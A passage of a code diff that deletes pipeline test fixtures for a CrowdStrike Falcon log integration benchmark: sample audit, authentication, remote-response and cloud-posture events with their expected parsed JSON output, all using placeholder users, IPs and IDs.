\"eventCreationTime\": 1582830734000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"6020260b-0398-4d41-999d-5531b55522de\",\n \"HostnameField\": \"hostnameofmachine\",\n \"UserName\": \"first.last@company.com\",\n \"StartTimestamp\": 1582830734\n }\n}", - "start": "2020-02-27T19:12:14.000Z", - "type": [ - "start" - ] - }, - "host": { - "name": "hostnameofmachine" - }, - "message": "Remote response session started.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "hostnameofmachine" - ], - "user": [ - "first.last", - "first.last@company.com" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "first.last@company.com", - "name": "first.last" - } - }, - { - "@timestamp": "2020-02-27T19:12:52.000Z", - "crowdstrike": { - "event": { - "SessionId": "6020260b-0398-4d41-999d-5531b55522de" - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "RemoteResponseSessionEndEvent", - "offset": 1046, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "remote_response_session_end_event" - ], - "category": [ - "network", - "session" - ], - "created": "2020-02-27T19:12:52.000Z", - "end": "2020-02-27T19:12:52.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 1046,\n \"eventType\": \"RemoteResponseSessionEndEvent\",\n \"eventCreationTime\": 1582830772000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"6020260b-0398-4d41-999d-5531b55522de\",\n \"HostnameField\": \"hostnameofmachine\",\n \"UserName\": \"first.last@company.com\",\n \"EndTimestamp\": 1582830772\n }\n}", - "type": [ - "end" - ] - }, - "host": { - "name": "hostnameofmachine" - }, - "message": "Remote response session ended.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "hostnameofmachine" - ], - "user": [ - "first.last", - "first.last@company.com" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "first.last@company.com", - "name": "first.last" - } - }, - { - "@timestamp": "2020-02-12T21:29:10.000Z", - "crowdstrike": { - "event": { - "AuditKeyValues": [ - { - "Key": "APIClientID", - "ValueString": "1234567890abcdefghijklmnopqr" - }, - { - "Key": "partition", - "ValueString": "0" - }, - { - "Key": "offset", - "ValueString": "-1" - }, - { - "Key": "appId", - "ValueString": "siem-connector-v2.0.0" - }, - { - "Key": "eventType", - "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]" - } - ], - "OperationName": "streamStarted", - "Success": true - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "AuthActivityAuditEvent", - "offset": 0, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "streamStarted" - ], - "category": [ - "iam" - ], - "created": "2020-02-12T21:29:10.710Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 0,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581542950710,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"api-client-id:1234567890abcdefghijklmnopqrstuvwxyz\",\n \"UserIp\": \"10.10.0.8\",\n \"OperationName\": \"streamStarted\",\n \"ServiceName\": \"Crowdstrike Streaming API\",\n \"Success\": true,\n \"UTCTimestamp\": 1581542950,\n \"AuditKeyValues\": [\n {\n \"Key\": \"APIClientID\",\n \"ValueString\": \"1234567890abcdefghijklmnopqr\"\n },\n {\n \"Key\": \"partition\",\n \"ValueString\": \"0\"\n },\n {\n \"Key\": \"offset\",\n \"ValueString\": \"-1\"\n },\n {\n \"Key\": \"appId\",\n \"ValueString\": \"siem-connector-v2.0.0\"\n },\n {\n \"Key\": \"eventType\",\n \"ValueString\": \"[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]\"\n }\n ]\n }\n}", - "outcome": "success" - }, - "message": "Crowdstrike Streaming API", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "10.10.0.8" - ], - "user": [ - "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz" - ] - }, - "source": { - "ip": "10.10.0.8" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz" - } - }, - { - "@timestamp": "2020-02-12T21:39:37.147Z", - "crowdstrike": { - "event": { - "OperationName": "twoFactorAuthenticate", - "Success": true - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "AuthActivityAuditEvent", - "offset": 1, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "twoFactorAuthenticate" - ], - "category": [ - "authentication" - ], - "created": "2020-02-12T21:39:37.147Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 1,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581543577147,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"twoFactorAuthenticate\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581543577147\n }\n}", - "outcome": "success" - }, - "message": "CrowdStrike Authentication", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "192.168.6.8" - ], - "user": [ - "alice", - "alice@company.com" - ] - }, - "source": { - "ip": "192.168.6.8" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "alice@company.com", - "name": "alice" - } - }, - { - "@timestamp": "2020-02-12T22:14:37.554Z", - "crowdstrike": { - "event": { - "OperationName": "twoFactorAuthenticate", - "Success": true - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "AuthActivityAuditEvent", - "offset": 2, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "twoFactorAuthenticate" - ], - "category": [ - "authentication" - ], - "created": "2020-02-12T22:14:37.554Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 2,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581545677554,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"bob@company.com\",\n \"UserIp\": \"192.168.6.3\",\n \"OperationName\": \"twoFactorAuthenticate\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581545677554\n }\n}", - "outcome": "success" - }, - "message": "CrowdStrike Authentication", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "192.168.6.3" - ], - "user": [ - "bob", - "bob@company.com" - ] - }, - "source": { - "ip": "192.168.6.3" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "bob@company.com", - "name": "bob" - } - }, - { - "@timestamp": "2020-02-12T22:24:08.000Z", - "crowdstrike": { - "event": { - "AuditKeyValues": [ - { - "Key": "group_id", - "ValueString": "3c80ce30b9654cb4bd15beec6a517e65" - }, - { - "Key": "action_name", - "ValueString": "add_group_member" - } - ], - "ServiceName": "groups" - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "UserActivityAuditEvent", - "offset": 3, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "user_activity_audit_event", - "category": [ - "iam" - ], - "created": "2020-02-12T22:24:08.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 3,\n \"eventType\": \"UserActivityAuditEvent\",\n \"eventCreationTime\": 1581546248000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"chris@company.com\",\n \"UserIp\": \"192.168.6.13\",\n \"OperationName\": \"update_group\",\n \"ServiceName\": \"groups\",\n \"AuditKeyValues\": [\n {\n \"Key\": \"group_id\",\n \"ValueString\": \"3c80ce30b9654cb4bd15beec6a517e65\"\n },\n {\n \"Key\": \"action_name\",\n \"ValueString\": \"add_group_member\"\n }\n ],\n \"UTCTimestamp\": 1581546248\n }\n}", - "type": [ - "change" - ] - }, - "message": "update_group", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "192.168.6.13" - ], - "user": [ - "chris", - "chris@company.com" - ] - }, - "source": { - "ip": "192.168.6.13" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "chris@company.com", - "name": "chris" - } - }, - { - "@timestamp": "2020-02-13T13:41:52.140Z", - "crowdstrike": { - "event": { - "AuditKeyValues": [ - { - "Key": "target_name", - "ValueString": "alice@company.com" - } - ], - "OperationName": "requestResetPassword", - "Success": true - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "AuthActivityAuditEvent", - "offset": 4, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "requestResetPassword" - ], - "category": [ - "iam" - ], - "created": "2020-02-13T13:41:52.140Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 4,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601312140,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"requestResetPassword\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601312140,\n \"AuditKeyValues\": [\n {\n \"Key\": \"target_name\",\n \"ValueString\": \"alice@company.com\"\n }\n ]\n }\n}", - "outcome": "success" - }, - "message": "CrowdStrike Authentication", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "192.168.6.8" - ], - "user": [ - "alice", - "alice@company.com" - ] - }, - "source": { - "ip": "192.168.6.8" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "alice@company.com", - "name": "alice" - } - }, - { - "@timestamp": "2020-02-13T13:42:21.730Z", - "crowdstrike": { - "event": { - "OperationName": "twoFactorAuthenticate", - "Success": true - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "AuthActivityAuditEvent", - "offset": 5, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "twoFactorAuthenticate" - ], - "category": [ - "authentication" - ], - "created": "2020-02-13T13:42:21.730Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 5,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601341730,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"twoFactorAuthenticate\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601341730\n }\n}", - "outcome": "success" - }, - "message": "CrowdStrike Authentication", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "192.168.6.8" - ], - "user": [ - "alice", - "alice@company.com" - ] - }, - "source": { - "ip": "192.168.6.8" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "alice@company.com", - "name": "alice" - } - }, - { - "@timestamp": "2020-02-13T13:45:20.236Z", - "crowdstrike": { - "event": { - "AuditKeyValues": [ - { - "Key": "target_name", - "ValueString": "first.last@company.com" - } - ], - "OperationName": "changePassword", - "Success": true - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "AuthActivityAuditEvent", - "offset": 6, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "changePassword" - ], - "category": [ - "iam" - ], - "created": "2020-02-13T13:45:20.236Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 6,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601520236,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"changePassword\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601520236,\n \"AuditKeyValues\": [\n {\n \"Key\": \"target_name\",\n \"ValueString\": \"first.last@company.com\"\n }\n ]\n }\n}", - "outcome": "success", - "type": [ - "user", - "change" - ] - }, - "message": "CrowdStrike Authentication", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "192.168.6.8" - ], - "user": [ - "alice", - "alice@company.com" - ] - }, - "source": { - "ip": "192.168.6.8" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "alice@company.com", - "name": "alice" - } - }, - { - "@timestamp": "2020-02-13T13:46:12.362Z", - "crowdstrike": { - "event": { - "OperationName": "userAuthenticate", - "Success": true - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "AuthActivityAuditEvent", - "offset": 7, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "userAuthenticate" - ], - "category": [ - "authentication" - ], - "created": "2020-02-13T13:46:12.362Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 7,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601572362,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"userAuthenticate\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601572362\n }\n}", - "outcome": "success" - }, - "message": "CrowdStrike Authentication", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "192.168.6.8" - ], - "user": [ - "alice", - "alice@company.com" - ] - }, - "source": { - "ip": "192.168.6.8" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "alice@company.com", - "name": "alice" - } - }, - { - "@timestamp": "2020-02-13T13:50:14.754Z", - "crowdstrike": { - "event": { - "OperationName": "twoFactorAuthenticate", - "Success": true - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "AuthActivityAuditEvent", - "offset": 8, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "twoFactorAuthenticate" - ], - "category": [ - "authentication" - ], - "created": "2020-02-13T13:50:14.754Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 8,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601814754,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"twoFactorAuthenticate\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601814754\n }\n}", - "outcome": "success" - }, - "message": "CrowdStrike Authentication", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "192.168.6.8" - ], - "user": [ - "alice", - "alice@company.com" - ] - }, - "source": { - "ip": "192.168.6.8" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "alice@company.com", - "name": "alice" - } - }, - { - "@timestamp": "2020-02-13T13:50:20.289Z", - "crowdstrike": { - "event": { - "OperationName": "selfAcceptEula", - "Success": true - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "AuthActivityAuditEvent", - "offset": 9, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "selfAcceptEula" - ], - "category": [ - "iam" - ], - "created": "2020-02-13T13:50:20.289Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 9,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601820289,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"selfAcceptEula\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601820289\n }\n}", - "outcome": "success" - }, - "message": "CrowdStrike Authentication", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "192.168.6.8" - ], - "user": [ - "alice", - "alice@company.com" - ] - }, - "source": { - "ip": "192.168.6.8" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "alice@company.com", - "name": "alice" - } - }, - { - "@timestamp": "2020-02-13T14:14:22.000Z", - "crowdstrike": { - "event": { - "AuditKeyValues": [ - { - "Key": "detection_id", - "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745" - }, - { - "Key": "new_state", - "ValueString": "in_progress" - }, - { - "Key": "assigned_to", - "ValueString": "First Last" - }, - { - "Key": "assigned_to_uid", - "ValueString": "first.last@company.com" - } - ], - "ServiceName": "detections" - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "UserActivityAuditEvent", - "offset": 10, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "user_activity_audit_event", - "category": [ - "iam" - ], - "created": "2020-02-13T14:14:22.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 10,\n \"eventType\": \"UserActivityAuditEvent\",\n \"eventCreationTime\": 1581603262000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"detection_update\",\n \"ServiceName\": \"detections\",\n \"AuditKeyValues\": [\n {\n \"Key\": \"detection_id\",\n \"ValueString\": \"ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745\"\n },\n {\n \"Key\": \"new_state\",\n \"ValueString\": \"in_progress\"\n },\n {\n \"Key\": \"assigned_to\",\n \"ValueString\": \"First Last\"\n },\n {\n \"Key\": \"assigned_to_uid\",\n \"ValueString\": \"first.last@company.com\"\n }\n ],\n \"UTCTimestamp\": 1581603262\n }\n}", - "type": [ - "change" - ] - }, - "message": "detection_update", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "192.168.6.8" - ], - "user": [ - "alice", - "alice@company.com" - ] - }, - "source": { - "ip": "192.168.6.8" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "company.com", - "email": "alice@company.com", - "name": "alice" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log deleted file mode 100644 index d977070b06..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log +++ /dev/null @@ -1,92 +0,0 @@ -{ - "metadata": { - "customerIDString": "123123abcd", - "offset": 6, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1686845212400, - "version": "1.0" - }, - "event": { - "UserId": "API:USERID", - "UserIp": "175.16.199.1", - "OperationName": "streamStopped", - "ServiceName": "Crowdstrike Streaming API", - "Success": true, - "UTCTimestamp": 1686839378, - "AuditKeyValues": [ - { - "Key": "eventType", - "ValueString": "All event type(s)" - }, - { - "Key": "APIClientID", - "ValueString": "APIID" - }, - { - "Key": "partition", - "ValueString": "0" - }, - { - "Key": "offset", - "ValueString": "2" - }, - { - "Key": "appId", - "ValueString": "APPIDTEST" - } - ], - "Attributes": { - "APIClientID": "APPCLIENTIDTEST", - "appId": "APPIDTEST", - "eventType": "All event type(s)", - "offset": "2", - "partition": "0" - } - } -} -{ - "metadata": { - "customerIDString": "123123abcd", - "offset": 8, - "eventType": "AuthActivityAuditEvent", - "eventCreationTime": 1686849556137, - "version": "1.0" - }, - "event": { - "UserId": "API:USERID", - "UserIp": "175.16.199.1", - "OperationName": "streamStarted", - "ServiceName": "Crowdstrike Streaming API", - "Success": true, - "UTCTimestamp": 1686849556, - "AuditKeyValues": [ - { - "Key": "APIClientID", - "ValueString": "APICLIENTID" - }, - { - "Key": "partition", - "ValueString": "0" - }, - { - "Key": "offset", - "ValueString": "8" - }, - { - "Key": "appId", - "ValueString": "APPIDTEST" - }, - { - "Key": "eventType", - "ValueString": "All event type(s)" - } - ], - "Attributes": { - "APIClientID": "APICLIENTID", - "appId": "APPIDTEST", - "eventType": "All event type(s)", - "offset": "8", - "partition": "0" - } - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json deleted file mode 100644 index 028a422941..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json +++ /dev/null @@ -1,190 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-06-15T14:29:38.000Z", - "crowdstrike": { - "event": { - "Attributes": { - "APIClientID": "APPCLIENTIDTEST", - "appId": "APPIDTEST", - "eventType": "All event type(s)", - "offset": "2", - "partition": "0" - }, - "AuditKeyValues": [ - { - "Key": "eventType", - "ValueString": "All event type(s)" - }, - { - "Key": "APIClientID", - "ValueString": "APIID" - }, - { - "Key": "partition", - "ValueString": "0" - }, - { - "Key": "offset", - "ValueString": "2" - }, - { - "Key": "appId", - "ValueString": "APPIDTEST" - } - ], - "OperationName": "streamStopped", - "Success": true - }, - "metadata": { - "customerIDString": "123123abcd", - "eventType": "AuthActivityAuditEvent", - "offset": 6, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "streamStopped" - ], - "category": [ - "iam" - ], - "created": "2023-06-15T16:06:52.400Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 6,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1686845212400,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"API:USERID\",\n \"UserIp\": \"175.16.199.1\",\n \"OperationName\": \"streamStopped\",\n \"ServiceName\": \"Crowdstrike Streaming API\",\n \"Success\": true,\n \"UTCTimestamp\": 1686839378,\n \"AuditKeyValues\": [\n {\n \"Key\": \"eventType\",\n \"ValueString\": \"All event type(s)\"\n },\n {\n \"Key\": \"APIClientID\",\n \"ValueString\": \"APIID\"\n },\n {\n \"Key\": \"partition\",\n \"ValueString\": \"0\"\n },\n {\n \"Key\": \"offset\",\n \"ValueString\": \"2\"\n },\n {\n \"Key\": \"appId\",\n \"ValueString\": \"APPIDTEST\"\n }\n ],\n \"Attributes\": {\n \"APIClientID\": \"APPCLIENTIDTEST\",\n \"appId\": \"APPIDTEST\",\n \"eventType\": \"All event type(s)\",\n \"offset\": \"2\",\n \"partition\": \"0\"\n }\n }\n}", - "outcome": "success" - }, - "message": "Crowdstrike Streaming API", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "175.16.199.1" - ], - "user": [ - "API:USERID" - ] - }, - "source": { - "geo": { - "city_name": "Changchun", - "continent_name": "Asia", - "country_iso_code": "CN", - "country_name": "China", - "location": { - "lat": 43.88, - "lon": 125.3228 - }, - "region_iso_code": "CN-22", - "region_name": "Jilin Sheng" - }, - "ip": "175.16.199.1" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "API:USERID" - } - }, - { - "@timestamp": "2023-06-15T17:19:16.000Z", - "crowdstrike": { - "event": { - "Attributes": { - "APIClientID": "APICLIENTID", - "appId": "APPIDTEST", - "eventType": "All event type(s)", - "offset": "8", - "partition": "0" - }, - "AuditKeyValues": [ - { - "Key": "APIClientID", - "ValueString": "APICLIENTID" - }, - { - "Key": "partition", - "ValueString": "0" - }, - { - "Key": "offset", - "ValueString": "8" - }, - { - "Key": "appId", - "ValueString": "APPIDTEST" - }, - { - "Key": "eventType", - "ValueString": "All event type(s)" - } - ], - "OperationName": "streamStarted", - "Success": true - }, - "metadata": { - "customerIDString": "123123abcd", - "eventType": "AuthActivityAuditEvent", - "offset": 8, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "streamStarted" - ], - "category": [ - "iam" - ], - "created": "2023-06-15T17:19:16.137Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 8,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1686849556137,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"API:USERID\",\n \"UserIp\": \"175.16.199.1\",\n \"OperationName\": \"streamStarted\",\n \"ServiceName\": \"Crowdstrike Streaming API\",\n \"Success\": true,\n \"UTCTimestamp\": 1686849556,\n \"AuditKeyValues\": [\n {\n \"Key\": \"APIClientID\",\n \"ValueString\": \"APICLIENTID\"\n },\n {\n \"Key\": \"partition\",\n \"ValueString\": \"0\"\n },\n {\n \"Key\": \"offset\",\n \"ValueString\": \"8\"\n },\n {\n \"Key\": \"appId\",\n \"ValueString\": \"APPIDTEST\"\n },\n {\n \"Key\": \"eventType\",\n \"ValueString\": \"All event type(s)\"\n }\n ],\n \"Attributes\": {\n \"APIClientID\": \"APICLIENTID\",\n \"appId\": \"APPIDTEST\",\n \"eventType\": \"All event type(s)\",\n \"offset\": \"8\",\n \"partition\": \"0\"\n }\n }\n}", - "outcome": "success" - }, - "message": "Crowdstrike Streaming API", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "175.16.199.1" - ], - "user": [ - "API:USERID" - ] - }, - "source": { - "geo": { - "city_name": "Changchun", - "continent_name": "Asia", - "country_iso_code": "CN", - "country_name": "China", - "location": { - "lat": 43.88, - "lon": 125.3228 - }, - "region_iso_code": "CN-22", - "region_name": "Jilin Sheng" - }, - "ip": "175.16.199.1" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "API:USERID" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log deleted file mode 100644 index aa0e66380d..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log +++ /dev/null @@ -1,26 +0,0 @@ -{ - "metadata": { - "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", - "offset": 54712858, - "eventType": "CSPMIOAStreamingEvent", - "eventCreationTime": 1663011160000, - "version": "1.0" - }, - "event": { - "AccountId": "XXXXXXXXXXXX", - "PolicyId": 249, - "PolicyStatement": "EC2 instance manually deleted by IAM user", - "CloudProvider": "aws", - "CloudService": "EC2", - "Severity": 1, - "SeverityName": "High", - "EventAction": "TerminateInstances", - "EventSource": "aws.cloudtrail", - "EventCreatedTimestamp": 1663011160, - "UserId": "AIDAXRCSSEFWEAH3BLR2Z", - "UserName": "cs_internal_service_acct", - "UserSourceIp": "81.2.69.144", - "Tactic": "Impact", - "Technique": "Data Destruction" - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json deleted file mode 100644 index 1936b1ec16..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json +++ /dev/null @@ -1,94 +0,0 @@ -{ - "expected": 